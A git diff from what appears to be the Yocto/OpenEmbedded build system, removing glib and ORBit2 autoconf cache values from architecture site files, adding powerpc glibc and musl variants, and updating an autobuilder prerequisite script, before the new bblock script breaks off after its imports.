@@ -15,37 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-ac_cv_sizeof_ssize_t=8
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6el-linux b/meta/site/mipsisa64r6el-linux
index 680171d5e3..1e1d7687c2 100644
--- a/meta/site/mipsisa64r6el-linux
+++ b/meta/site/mipsisa64r6el-linux
@@ -15,37 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-ac_cv_sizeof_ssize_t=8
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/nios2-linux b/meta/site/nios2-linux
index 8ac198a0cd..58ffcbc7e2 100644
--- a/meta/site/nios2-linux
+++ b/meta/site/nios2-linux
@@ -53,39 +53,6 @@ ac_cv_func_fnmatch_works=${ac_cv_func_fnmatch_works=yes}
# gettext
am_cv_func_working_getline=${am_cv_func_working_getline=yes}
-# gio
-ac_cv_func_getgrgid_r=${ac_cv_func_getgrgid_r=yes}
-
-# glib
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_copy=${glib_cv_va_copy=yes}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-ac_cv_func_getpwuid_r=${ac_cv_func_getpwuid_r=yes}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-
-# glib-2.0
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sys_use_pid_niceness_surrogate=${glib_cv_sys_use_pid_niceness_surrogate=yes}
-
#gstreamer
as_cv_unaligned_access=${as_cv_unaligned_access=no}
@@ -110,9 +77,6 @@ lftp_cv___va_copy=${lftp_cv___va_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -137,21 +101,6 @@ mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=no}
ac_cv_regexec_segfault_emptystr=${ac_cv_regexec_segfault_emptystr=no}
nano_cv_func_regexec_segv_emptystr=${nano_cv_func_regexec_segv_emptystr=no}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
@@ -243,7 +192,7 @@ ac_cv_sizeof_long_p=${ac_cv_sizeof_long_p=4}
ac_cv_sizeof_float=${ac_cv_sizeof_float=4}
ac_cv_sizeof_double=${ac_cv_sizeof_double=8}
ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
-ac_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
+ac_cv_sizeof_ptrdiff_t=${ac_cv_sizeof_ptrdiff_t=4}
ac_cv_sizeof_unsigned_short=${ac_cv_sizeof_unsigned_short=2}
ac_cv_sizeof_unsigned=${ac_cv_sizeof_unsigned=4}
ac_cv_sizeof_unsigned_int=${ac_cv_sizeof_unsigned_int=4}
diff --git a/meta/site/powerpc-common b/meta/site/powerpc-common
deleted file mode 100644
index efa299c664..0000000000
--- a/meta/site/powerpc-common
+++ /dev/null
@@ -1,14 +0,0 @@
-# glib
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=4
-
-# at-spi2-core
-ac_cv_alignof_char=1
-ac_cv_alignof_dbind_pointer=4
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=8
-ac_cv_alignof_double=8
diff --git a/meta/site/powerpc-linux b/meta/site/powerpc-linux
index a9f89cb5d4..0aa5732fc0 100644
--- a/meta/site/powerpc-linux
+++ b/meta/site/powerpc-linux
@@ -4,11 +4,6 @@ ac_cv_va_val_copy=${ac_cv_va_val_copy=yes}
# startup-notification
lf_cv_sane_realloc=yes
-# glib
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-
# lftp
lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
diff --git a/meta/site/powerpc32-linux b/meta/site/powerpc32-linux
index 172a06cc46..c2f870b432 100644
--- a/meta/site/powerpc32-linux
+++ b/meta/site/powerpc32-linux
@@ -8,7 +8,6 @@ ac_cv_sizeof_int=${ac_cv_sizeof_int=4}
ac_cv_sizeof_int_p=${ac_cv_sizeof_int_p=4}
ac_cv_sizeof_long=${ac_cv_sizeof_long=4}
ac_cv_sizeof_long_p=${ac_cv_sizeof_long_p=4}
-ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
ac_cv_sizeof_long_int=${ac_cv_sizeof_long_int=4}
ac_cv_sizeof_long_long=${ac_cv_sizeof_long_long=8}
ac_cv_sizeof_long_long_int=${ac_cv_sizeof_long_long_int=8}
@@ -98,21 +97,6 @@ php_cv_lib_cookie_io_functions_use_off64_t=${php_cv_lib_cookie_io_functions_use_
# gettext
am_cv_func_working_getline=${am_cv_func_working_getline=yes}
-# glib
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-
# ettercap
ettercap_cv_type_socklen_t=${ettercap_cv_type_socklen_t=yes}
@@ -122,17 +106,6 @@ acx_working_snprintf=${acx_working_snprintf=yes}
# D-BUS
ac_cv_func_posix_getpwnam_r=${ac_cv_func_posix_getpwnam_r=yes}
-# glib 2.0
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sys_use_pid_niceness_surrogate=${glib_cv_sys_use_pid_niceness_surrogate=yes}
-
-glib_cv_strlcpy=${glib_cv_strlcpy=no}
-
# httppc
ac_cv_strerror_r_SUSv3=${ac_cv_strerror_r_SUSv3=no}
@@ -151,23 +124,6 @@ compat_cv_func_dirname_works=${compat_cv_func_dirname_works=no}
# slrn
slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
@@ -213,7 +169,6 @@ liberty_cv_uint64=${liberty_cv_uint64=uint64_t}
#samba
ac_cv_func_memcmp_working=${ac_cv_func_memcmp_working=yes}
-fu_cv_sys_stat_statvfs64=${fu_cv_sys_stat_statvfs64=yes}
samba_cv_HAVE_BROKEN_FCNTL64_LOCKS=${samba_cv_HAVE_BROKEN_FCNTL64_LOCKS=no}
samba_cv_HAVE_BROKEN_GETGROUPS=${samba_cv_HAVE_BROKEN_GETGROUPS=no}
samba_cv_HAVE_BROKEN_READDIR=${samba_cv_HAVE_BROKEN_READDIR=yes}
@@ -258,10 +213,3 @@ samba_cv_have_setresuid=${samba_cv_have_setresuid=yes}
# mysql
mysql_cv_func_atomic_sub=${mysql_cv_func_atomic_sub=no}
mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=no}
-
-
-# libc
-libc_cv_ppc_machine=${libc_cv_ppc_machine=yes}
-libc_cv_mlong_double_128ibm=${libc_cv_mlong_double_128ibm=yes}
-libc_cv_mabi_ibmlongdouble=${libc_cv_mabi_ibmlongdouble=yes}
-libc_cv_mlong_double_128=${libc_cv_mlong_double_128=yes}
diff --git a/meta/site/powerpc32-linux-glibc b/meta/site/powerpc32-linux-glibc
new file mode 100644
index 0000000000..62da435989
--- /dev/null
+++ b/meta/site/powerpc32-linux-glibc
@@ -0,0 +1,8 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
+
+# libc
+libc_cv_ppc_machine=${libc_cv_ppc_machine=yes}
+libc_cv_mlong_double_128ibm=${libc_cv_mlong_double_128ibm=yes}
+libc_cv_mabi_ibmlongdouble=${libc_cv_mabi_ibmlongdouble=yes}
+libc_cv_mlong_double_128=${libc_cv_mlong_double_128=yes}
+
diff --git a/meta/site/powerpc32-linux-musl b/meta/site/powerpc32-linux-musl
new file mode 100644
index 0000000000..8575ba7531
--- /dev/null
+++ b/meta/site/powerpc32-linux-musl
@@ -0,0 +1,2 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
+
diff --git a/meta/site/powerpc64-linux b/meta/site/powerpc64-linux
index 820a4b8440..18f9f29a6b 100644
--- a/meta/site/powerpc64-linux
+++ b/meta/site/powerpc64-linux
@@ -4,7 +4,6 @@ ac_cv_sizeof_double=${ac_cv_sizeof_double=8}
ac_cv_sizeof_float=${ac_cv_sizeof_float=4}
ac_cv_sizeof_int=${ac_cv_sizeof_int=4}
ac_cv_sizeof_long=${ac_cv_sizeof_long=8}
-ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
ac_cv_sizeof_long_int=${ac_cv_sizeof_long_int=8}
ac_cv_sizeof_long_long=${ac_cv_sizeof_long_long=8}
ac_cv_sizeof_long_long_int=${ac_cv_sizeof_long_long_int=8}
diff --git a/meta/site/powerpc64-linux-glibc b/meta/site/powerpc64-linux-glibc
new file mode 100644
index 0000000000..dc5c28524b
--- /dev/null
+++ b/meta/site/powerpc64-linux-glibc
@@ -0,0 +1,2 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
+
diff --git a/meta/site/powerpc64-linux-musl b/meta/site/powerpc64-linux-musl
new file mode 100644
index 0000000000..38c537dd1b
--- /dev/null
+++ b/meta/site/powerpc64-linux-musl
@@ -0,0 +1 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
diff --git a/meta/site/riscv32-linux b/meta/site/riscv32-linux
index 97de628e22..2cc26f3b93 100644
--- a/meta/site/riscv32-linux
+++ b/meta/site/riscv32-linux
@@ -3,9 +3,5 @@ ac_cv_alignof_guint32=4
ac_cv_alignof_guint64=8
ac_cv_alignof_unsigned_long=4
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
diff --git a/meta/site/riscv64-linux b/meta/site/riscv64-linux
index 38bc5f044d..384d3bd877 100644
--- a/meta/site/riscv64-linux
+++ b/meta/site/riscv64-linux
@@ -3,9 +3,5 @@ ac_cv_alignof_guint32=4
ac_cv_alignof_guint64=8
ac_cv_alignof_unsigned_long=8
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
diff --git a/meta/site/sh-common b/meta/site/sh-common
index 6bda1c237c..720d454351 100644
--- a/meta/site/sh-common
+++ b/meta/site/sh-common
@@ -103,24 +103,6 @@ ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
php_cv_lib_cookie_io_functions_use_off64_t=${php_cv_lib_cookie_io_functions_use_off64_t=yes}
-# glib
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-
# ettercap
ettercap_cv_type_socklen_t=${ettercap_cv_type_socklen_t=yes}
@@ -130,21 +112,6 @@ acx_working_snprintf=${acx_working_snprintf=yes}
# D-BUS
ac_cv_func_posix_getpwnam_r=${ac_cv_func_posix_getpwnam_r=yes}
-# glib 2.0
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sys_use_pid_niceness_surrogate=${glib_cv_sys_use_pid_niceness_surrogate=yes}
-
-glib_cv_strlcpy=${glib_cv_strlcpy=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=4
-
# httppc
ac_cv_strerror_r_SUSv3=${ac_cv_strerror_r_SUSv3=no}
@@ -169,23 +136,6 @@ slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
# startup-notification
lf_cv_sane_realloc=yes
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
diff --git a/meta/site/sparc-linux b/meta/site/sparc-linux
index 49d0d9a3d6..c87eaae5ec 100644
--- a/meta/site/sparc-linux
+++ b/meta/site/sparc-linux
@@ -38,11 +38,5 @@ am_cv_sys_posix_termios=${am_cv_sys_posix_termios=yes}
# gettext
am_cv_func_working_getline=${am_cv_func_working_getline=yes}
-#glib
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-
#linux
ac_cv_linux_vers=${ac_cv_linux_vers=2}
diff --git a/meta/site/x32-linux b/meta/site/x32-linux
index 4b70422ed2..2e120480c3 100644
--- a/meta/site/x32-linux
+++ b/meta/site/x32-linux
@@ -1,8 +1,4 @@
# general
ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
ac_cv_sizeof_dev_t=${ac_cv_sizeof_dev_t=8}
-ac_cv_sys_file_offset_bits=${ac_cv_sys_file_offset_bits=64}
ac_cv_alignof_double=8
-
-# glib
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=32}
diff --git a/meta/site/x86_64-linux b/meta/site/x86_64-linux
index 778e2c53ee..b9ee141fd5 100644
--- a/meta/site/x86_64-linux
+++ b/meta/site/x86_64-linux
@@ -32,28 +32,6 @@ db_cv_align_t=${db_cv_align_t='unsigned long long'}
db_cv_fcntl_f_setfd=${db_cv_fcntl_f_setfd=yes}
db_cv_sprintf_count=${db_cv_sprintf_count=yes}
-# glib
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=40}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=8}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=8}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=8}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=no}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-
nano_cv_func_regexec_segv_emptystr=${nano_cv_func_regexec_segv_emptystr=no}
samba_cv_HAVE_VA_COPY=${samba_cv_HAVE_VA_COPY=yes}
screen_cv_sys_bcopy_overlap=${screen_cv_sys_bcopy_overlap=no}
@@ -73,26 +51,9 @@ am_cv_func_working_getline=${am_cv_func_working_getline=yes}
#gcc
ac_cv_lib_m_sin=${ac_cv_lib_m_sin=yes}
-#orbit
-libIDL_cv_long_long_format=ll
-
# bash
bash_cv_func_sigsetjmp=${bash_cv_func_sigsetjmp=present}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=8
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
lf_cv_sane_realloc=yes
as_cv_unaligned_access=${as_cv_unaligned_access=yes}
@@ -122,13 +83,3 @@ ac_cv_func__restgpr_14_x=no
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
-
-# at-spi2-core
-ac_cv_alignof_char=1
-ac_cv_alignof_dbind_pointer=8
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=8
-ac_cv_alignof_double=8
diff --git a/oe-init-build-env b/oe-init-build-env
index 8c1bd54e57..82382f2707 100755
--- a/oe-init-build-env
+++ b/oe-init-build-env
@@ -42,11 +42,17 @@ fi
unset THIS_SCRIPT
export OEROOT
-. $OEROOT/scripts/oe-buildenv-internal &&
- TEMPLATECONF="$TEMPLATECONF" $OEROOT/scripts/oe-setup-builddir || {
+. "$OEROOT"/scripts/oe-buildenv-internal &&
+ TEMPLATECONF="$TEMPLATECONF" "$OEROOT"/scripts/oe-setup-builddir || {
unset OEROOT
return 1
}
+
+# Generate an initial configuration for VSCode and the yocto-bitbake plugin.
+if command -v code > /dev/null && [ ! -d "$OEROOT/.vscode" ]; then
+ oe-setup-vscode "$OEROOT" "$BUILDDIR"
+fi
+
unset OEROOT
[ -z "$BUILDDIR" ] || cd "$BUILDDIR"
diff --git a/scripts/.oe-layers.json b/scripts/.oe-layers.json
new file mode 100644
index 0000000000..1b00a84b54
--- /dev/null
+++ b/scripts/.oe-layers.json
@@ -0,0 +1,7 @@
+{
+ "layers": [
+ "../meta-poky",
+ "../meta"
+ ],
+ "version": "1.0"
+}
diff --git a/scripts/autobuilder-worker-prereq-tests b/scripts/autobuilder-worker-prereq-tests
index 5d7e6e2601..54fd3c1004 100755
--- a/scripts/autobuilder-worker-prereq-tests
+++ b/scripts/autobuilder-worker-prereq-tests
@@ -1,5 +1,7 @@
#!/bin/bash
#
+# Copyright OpenEmbedded Contributors
+#
# Script which can be run on new autobuilder workers to check all needed configuration is present.
# Designed to be run in a repo where bitbake/oe-core are already present.
#
@@ -35,6 +37,11 @@ if [ "$?" != "0" ]; then
echo "Please set git config --global user.email"
exit 1
fi
+python3 -c "import jinja2"
+if [ "$?" != "0" ]; then
+ echo "Please ensure jinja2 is available"
+ exit 1
+fi
bitbake -p
if [ "$?" != "0" ]; then
echo "Bitbake parsing failed"
@@ -46,16 +53,31 @@ if (( $WATCHES < 65000 )); then
echo 'Need to increase watches (echo fs.inotify.max_user_watches=65536 | sudo tee -a /etc/sysctl.conf'
exit 1
fi
+OPEN_FILES=$(ulimit -n)
+if (( $OPEN_FILES < 65535 )); then
+ echo 'Increase maximum open files in /etc/security/limits.conf'
+ echo '* soft nofile 131072'
+ echo '* hard nofile 131072'
+ exit 1
+fi
+MAX_PROCESSES=$(ulimit -u)
+if (( $MAX_PROCESSES < 514542 )); then
+ echo 'Increase maximum user processes in /etc/security/limits.conf'
+ echo '* hard nproc 515294'
+ echo '* soft nproc 514543'
+ exit 1
+fi
+
mkdir -p tmp/deploy/images/qemux86-64
pushd tmp/deploy/images/qemux86-64
if [ ! -e core-image-minimal-qemux86-64.ext4 ]; then
- wget http://downloads.yoctoproject.org/releases/yocto/yocto-2.5.1/machines/qemu/qemux86-64/core-image-minimal-qemux86-64.ext4
+ wget http://downloads.yoctoproject.org/releases/yocto/yocto-4.0/machines/qemu/qemux86-64/core-image-minimal-qemux86-64.ext4
fi
if [ ! -e core-image-minimal-qemux86-64.qemuboot.conf ]; then
- wget http://downloads.yoctoproject.org/releases/yocto/yocto-2.5.1/machines/qemu/qemux86-64/core-image-minimal-qemux86-64.qemuboot.conf
+ wget http://downloads.yoctoproject.org/releases/yocto/yocto-4.0/machines/qemu/qemux86-64/core-image-minimal-qemux86-64.qemuboot.conf
fi
if [ ! -e bzImage-qemux86-64.bin ]; then
- wget http://downloads.yoctoproject.org/releases/yocto/yocto-2.5.1/machines/qemu/qemux86-64/bzImage-qemux86-64.bin
+ wget http://downloads.yoctoproject.org/releases/yocto/yocto-4.0/machines/qemu/qemux86-64/bzImage-qemux86-64.bin
fi
popd
bitbake qemu-helper-native
diff --git a/scripts/bblock b/scripts/bblock
new file mode 100755
index 0000000000..0082059af8
--- /dev/null
+++ b/scripts/bblock
@@ -0,0 +1,184 @@
+#!/usr/bin/env python3
+# bblock
+# lock/unlock task to latest signature
+#
+# Copyright (c) 2023 BayLibre, SAS
+# Author: Julien Stepahn <jstephan@baylibre.com>
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import sys
+import logging
+
+scripts_path = os.path.dirname(os.path.realpath(__file__))
+lib_path = scripts_path + "/lib"
+sys.path = sys.path + [lib_path]
+
+import scriptpath
+
+scriptpath.add_bitbake_lib_path()
+
+import bb.tinfoil
+import bb.msg
+
+import argparse_oe
+
+myname = os.path.basename(sys.argv[0])
